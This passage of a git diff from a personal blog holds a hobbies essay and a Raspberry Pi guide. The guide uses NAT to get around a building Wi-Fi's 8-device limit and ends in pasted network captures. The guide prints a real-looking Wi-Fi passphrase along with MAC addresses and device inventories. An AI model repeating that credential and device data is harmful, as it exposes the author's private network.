+SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/hobbies.md b/public-clearnet/sources/posts/hobbies.md new file mode 100644 index 0000000..1426fa7 --- /dev/null +++ b/public-clearnet/sources/posts/hobbies.md @@ -0,0 +1,172 @@ ++++ +title = 'Hobbies' +date = 2025-10-10T07:04:54Z +draft = false +description = "My point of view on hobbies" ++++ + +When I started my PhD, I was told "get yourself a hobby!" many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies. + +For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. + +Let's go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end. + +After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take "active" sport classes. +So... getting into a chess class was conditional. + +I have't really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening. + +In high-school I didn't really have any hobbies. +I did become interested in Basketball, but nothing serious. +It's funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame. + +Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called "Karsoogh" for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don't remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active. + +I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman's obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research. + +During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don't have any images from the project, but the code can be found [here](https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402). + +I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don't go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby! + +After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it's the story of my PhD pretty much now. + +Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn't pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said "if you're not a hard worker it won't workout for you", and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It's just distroying me mentally. +I am me, and the best me ever to exist. +And that's how it should be. + +Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited. + +Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don't like to play it with me because I pay attention to "everything". +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don't get to play! :-P +One of my all time favorite games is "Zaar" (a persian game that was discontinued), and a game kinda similar to it called "The Night Cage". +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool. + +Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I'm a loner! (Drat. :P) +I love to "not follow recipes" and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I'm open to cooking anything and everything! + +I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I'm alone, I rather do my other hobbies. + +And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD + +3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I'm quite a noob at it still. +I will probably share some of the things I've made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It's so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It's just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it's part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition! + +And now let's talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I've been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I'm a proud member, trying to contribute as much as my time allows me to. +I'm not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog. + +And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won't get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it! + +With all this being said, I think that's it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I'm into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/hobbies.md.asc b/public-clearnet/sources/posts/hobbies.md.asc new file mode 100644 index 0000000..0bc1192 --- /dev/null +++ b/public-clearnet/sources/posts/hobbies.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+ +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= +=42yP +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/house_upgrade.md b/public-clearnet/sources/posts/house_upgrade.md new file mode 100644 index 0000000..d8c13df --- /dev/null +++ b/public-clearnet/sources/posts/house_upgrade.md @@ -0,0 +1,685 @@ +--- +title: "I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)" +date: 2025-11-23 +draft: false +tags: ["raspberry pi", "wifi", "iot", "networking", "hostapd", "dnsmasq"] +description: "Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support." +author: "Iman Alipour" +ShowToc: true +TocOpen: true +--- + +## The Day My Wi-Fi Said “Eight Is Enough” + +My apartment Wi-Fi (ASK4) has a hard cap of **8 devices**. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put **all the IoT stuff behind a Raspberry Pi** that shows up as **one** device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. + +This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience. + +--- + +## Hardware: what I picked and why + +- **Raspberry Pi 4 (4GB)** + It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better. + +- **ALFA AWUS036ACHM (USB Wi-Fi)** + Reliable, **AP-mode** friendly on Linux, and happy with `hostapd`. I used it to **broadcast** my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short **USB 3 extension** so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz). + +- **Fast USB-C power supply** (official Pi 4 or 5V/3A equivalent) + Wi-Fi spikes current draw; brown-outs cause random gremlins. + +- **16–32 GB microSD**, **heatsinks**, **ventilated case** + The Pi 4 appreciates a bit of airflow. + +- **(Optional) Ethernet cable** + If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio. + +--- + +## What this setup actually does + +- The Pi connects to the building’s **ASK4 Wi-Fi** as a **client** (`wlan0`). +- The ALFA dongle creates a new access point called **`IoT_hub`** (`wlx…` interface) with password `Iman8118`. +- Devices join `IoT_hub`. The Pi does **NAT**, so upstream sees **one MAC address** (the Pi), not dozens of gadgets. Device limit: defeated. +- **Avahi mDNS reflector** lets services like **AirPlay/HomeKit** be discoverable across the two subnets without touching the managed router. +- If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., **Tailscale**) to reach `192.168.50.0/24` from anywhere. + +--- + +## Setup details (the friendly version) + +### 1) Access point with hostapd +I broadcast a simple WPA2 network on **2.4 GHz** (best compatibility). Channel **1/6/11**—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy. + +```ini +interface=wlx00c0cab7ab29 +ssid= +country_code=DE +hw_mode=g +channel=6 +ieee80211n=1 +wmm_enabled=1 +# Don't require HT or you'll reject some tiny IoT clients: +require_ht=0 +wpa=2 +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +wpa_passphrase= +``` + +### 2) DHCP on the IoT side (dnsmasq) +Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet. + +```bash +interface=wlx00c0cab7ab29 +bind-interfaces +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h +dhcp-option=3,192.168.50.1 +dhcp-option=6,1.1.1.1,8.8.8.8 +port=0 # leave port 53 to systemd-resolved +log-dhcp +``` + +### 3) Routing + NAT (nftables) +This makes every downstream device appear as the Pi upstream: + +```bash +table inet filter { + chain input { + type filter hook input priority filter; policy accept; + ct state established,related accept + iif "lo" accept + iif "wlan0" accept + iif "wlx00c0cab7ab29" accept + udp dport 5353 accept # mDNS + counter drop + } + chain forward { + type filter hook forward priority filter; policy accept; + ct state established,related accept + iif "wlx00c0cab7ab29" oif "wlan0" accept + iif "wlan0" oif "wlx00c0cab7ab29" accept + } + chain output { type filter hook output priority filter; policy accept; } +} +table ip nat { + chain postrouting { + type nat hook postrouting priority srcnat; policy accept; + oif "wlan0" masquerade + } +} +``` + +### 4) mDNS across subnets (Avahi) +The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4: + +```bash +[server] +allow-interfaces=wlan0,wlx00c0cab7ab29 +[reflector] +enable-reflector=yes +``` + +I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale + +Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4. + +Now some random questions that I looked up in internet: + +1. How many devices can this really support? + +Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama. + +If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable. + +2. What speeds should I expect? + +- LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I'm golden! ^^ + +- Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit. + +- Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy. + +3. Why these choices? +- 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility. + +- WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it. + +- 20 MHz channel prevents older or power-saving devices from flaking out. + +- Avahi reflector avoids any changes to the building’s router and still lets discovery work. + +- NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely. + +## Troubleshooting + +- `hostapd` **masked/disabled** → + ```bash + sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd + ``` + +- `dnsmasq` can’t start because of **port 53** → + set `port=0` in `/etc/dnsmasq.d/*.conf` and let systemd-resolved keep DNS. + +- **“Station does not support mandatory HT PHY”** in `hostapd` logs → + add `require_ht=0` (and keep `ieee80211n=1`) in your `hostapd.conf`. + +- AirPlay/HomeKit don’t show up across subnets → + ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed: + - `/etc/avahi/avahi-daemon.conf` has: + ```bash + [server] + allow-interfaces=wlan0,wlx00c0cab7ab29 + [reflector] + enable-reflector=yes + ``` + - firewall allows: + ```bash + udp dport 5353 accept + ``` + +- Weak signal / flaky joins → + use a short **USB 3 extension** to move the ALFA away from the Pi and cables; + scan and switch to a cleaner **2.4 GHz** channel (1/6/11), keep width at **20 MHz**. + +- Clients connect but no internet → + verify IP forward & NAT: +```bash +sudo sysctl net.ipv4.ip_forward +``` + +If it's 0, enable it permanently and reload +```bash +echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf +sudo sysctl --system +``` + +Verify the nftables NAT rule exists (masquerade out via wlan0) +```bash +sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p' +``` + +Add it if missing +```bash +sudo nft add table ip nat +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }' +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade' +``` + +Persist nftables (Ubuntu) +```bash +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +sudo systemctl enable --now nftables +``` + + +## Quick service sanity checks + +### hostapd (AP) +```bash +sudo systemctl status hostapd --no-pager +sudo journalctl -u hostapd -n 60 --no-pager +iw dev wlx00c0cab7ab29 info +iw dev wlx00c0cab7ab29 station dump +``` + +### dnsmasq (DHCP on IoT side) +```bash +sudo systemctl status dnsmasq --no-pager +sudo journalctl -u dnsmasq -n 80 --no-pager +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true +tail -n 50 /var/lib/misc/dnsmasq.leases +``` + +### Avahi (mDNS reflector) +```bash +grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf +sudo systemctl status avahi-daemon --no-pager +sudo journalctl -u avahi-daemon -n 60 --no-pager +``` + + +## Basic connectivity tests from a client on IoT_hub + +### got DHCP? +```bash +ip addr show +ip route +cat /etc/resolv.conf +``` + +### can you reach the Pi and the internet? +```bash +ping -c 3 192.168.50.1 +ping -c 3 1.1.1.1 +ping -c 3 google.com +``` + +### DNS works end-to-end? +```bash + +dig +short _airplay._tcp.local @224.0.0.251 -p 5353 +``` +(Or use a Bonjour browser app to confirm the HomePod is discoverable.) + + +## If AirPlay/HomeKit discovery is flaky across subnets + +### make sure mDNS is allowed both directions on the Pi +```bash + +sudo nft add rule inet filter input udp dport 5353 accept +sudo nft add rule inet filter forward udp dport 5353 accept +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +``` + +### restart Avahi cleanly and re-announce +```bash +sudo systemctl restart avahi-daemon +sudo journalctl -u avahi-daemon -n 40 --no-pager +``` + +### from the Pi, watch mDNS traffic on both sides (you should see queries/answers) +```bash +sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv +``` + +(in another terminal:) +```bash +sudo tcpdump -ni wlan0 udp port 5353 -vvv +``` + + +## Throughput + airtime sanity (optional) + +### simple iperf3 (install on Pi and a client) +```bash +sudo apt-get update && sudo apt-get install -y iperf3 +``` +(on the Pi:) `iperf3 -s` +(on a client:) `iperf3 -c 192.168.50.1 -P 3 -t 10` + +### check channel utilization/interference (from Pi) +```bash +sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p' +``` +(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd) + + +## Scaling tips (lots of tiny IoT devices) + +### hostapd tweaks (add to hostapd.conf, then restart) +(reduce management overhead slightly; keep conservative for compatibility) +```bash +beacon_int=100 +dtim_period=2 +wmm_enabled=1 +ap_isolate=0 +max_num_sta=256 # logical cap; real limit is airtime/driver +``` + +```bash +sudo systemctl restart hostapd +``` + +### if some ESP/low-power clients are sticky or nap too hard: +(device-side) disable aggressive power saving if supported +(AP-side) keep channel width at 20 MHz and `require_ht=0` for legacy clients + + +## “Clients connect but no internet” quick checklist + +### Pi has a default route via upstream? +```bash +ip route | grep default +``` + +### NAT counters are increasing when clients surf? +```bash +sudo nft list chain ip nat postrouting -a +``` + +### connections tracked? +```bash +sudo conntrack -L -o extended | head -n 40 +``` + +### last resort: bounce the pieces +```bash +sudo systemctl restart hostapd dnsmasq avahi-daemon +sudo systemctl restart NetworkManager || true +sudo systemctl restart nftables +``` + +## Network Traffic (embedded from captures) + +For fun, and curiousity! + +### 1) DHCP leases (who joined the IoT network) +```bash +1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc +``` + +### 2) Top talkers by bytes (hosts table) +```bash +192.168.50.233,7346 +192.168.50.118,7216 +192.168.50.131,7216 +17.253.53.203,7040 +54.217.122.41,6271 +192.168.50.216,5392 +192.168.50.104,3058 +192.168.50.189,2278 +17.242.218.132,1802 +192.168.50.134,1750 +192.168.50.196,1653 +3.122.71.119,639 +18.196.19.65,570 +161.117.178.131,391 +17.253.53.201,148 +17.57.146.25,90 +10.172.72.196,66 +224.0.0.251,0 +224.0.0.2,0 +255.255.255.255,0 +``` + +### 3) Heaviest flows (src, dst, proto, dport, bytes) +```bash +192.168.50.202,192.168.50.131,TCP,59903,402 +192.168.50.202,192.168.50.118,TCP,59807,402 +161.117.178.131,192.168.50.134,TCP,58246,391 +192.168.50.216,192.168.50.202,UDP,5353,336 +192.168.50.202,192.168.50.189,UDP,5353,312 +192.168.50.202,192.168.50.196,UDP,5353,234 +17.253.53.203,192.168.50.202,TCP,64726,222 +192.168.50.216,17.57.146.25,TCP,5223,172 +192.168.50.216,192.168.50.233,UDP,5353,162 +192.168.50.202,192.168.50.104,UDP,5353,156 +17.253.53.201,192.168.50.202,TCP,64727,148 +192.168.50.202,17.253.53.201,TCP,443,132 +192.168.50.216,224.0.0.251,IP,0,92 +192.168.50.216,224.0.0.2,IP,0,92 +17.57.146.25,192.168.50.216,TCP,64544,90 +192.168.50.216,192.168.50.118,UDP,5353,75 +192.168.50.216,192.168.50.131,UDP,5353,75 +192.168.50.216,192.168.50.134,UDP,5353,75 +192.168.50.216,10.172.72.196,TCP,59593,70 +10.172.72.196,192.168.50.216,TCP,51638,66 +``` + +### 4) Conntrack snapshot (active connections inventory) +```bash +ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 +ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 +ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 +ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 +ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 +ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 